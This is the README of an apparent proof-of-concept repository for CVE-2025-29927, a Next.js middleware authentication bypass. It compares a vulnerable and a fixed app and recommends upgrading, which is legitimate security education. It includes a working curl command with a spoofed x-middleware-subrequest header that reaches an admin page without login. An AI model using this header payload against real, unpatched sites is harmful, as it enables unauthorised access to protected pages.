CVE-2025-29927 PoC — Next.js 安全漏洞

Description

Next.js CVE-2025-29927 demonstration

介绍

# Next.js Vulnerability Demo (CVE-2025-29927)

This repository contains a demonstration of the Next.js vulnerability CVE-2025-29927, which affects Next.js version 15.2.2 and earlier. The vulnerability allows attackers to bypass middleware authentication checks by setting an `x-middleware-subrequest` header.

## Repository Structure

This is an NX monorepo containing two Next.js applications:

1. **vulnerable-app**: Uses Next.js 15.2.2 with the vulnerability
2. **fixed-app**: Uses Next.js 15.2.3 with the fix implemented

## Vulnerability Explanation

In Next.js versions prior to 15.2.3, there's a security vulnerability in the middleware implementation. The middleware doesn't properly validate the origin of the `x-middleware-subrequest` header, allowing attackers to spoof this header and bypass middleware-based authentication checks.

## How to Run the Demo

### Prerequisites

- Node.js 18 or later
- npm or yarn
- Docker (optional, for containerized deployment)

### Running the Vulnerable App

```bash
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install

# Start the vulnerable app
npm run dev
```

The vulnerable app will be available at http://localhost:3000.

### Running the Fixed App

```bash
# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the fixed app
cd apps/fixed-app
npm install

# Start the fixed app
npm run dev
```

The fixed app will be available at http://localhost:3001.

### Using Docker

You can also run the apps using Docker:

```bash
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable

# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
```

## Demonstrating the Vulnerability

1. Open the vulnerable app (http://localhost:3000)
2. Click on "Admin" in the navigation bar
3. You'll be redirected to the login page since you're not authenticated
4. Now try accessing the admin page directly with the vulnerability:

```bash
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
```

With the vulnerable version (15.2.2), you'll be able to access the admin page without authentication by adding the `x-middleware-subrequest` header.

With the fixed version (15.2.3), the middleware correctly validates the origin of this header, and you'll still be redirected to the login page.

## Login Credentials

For demo purposes, you can log in with:
- Username: `admin`
- Password: `password123`

## Security Recommendation

If you're using Next.js in production, make sure to update to version 15.2.3 or later to protect against this vulnerability.

文件快照

备注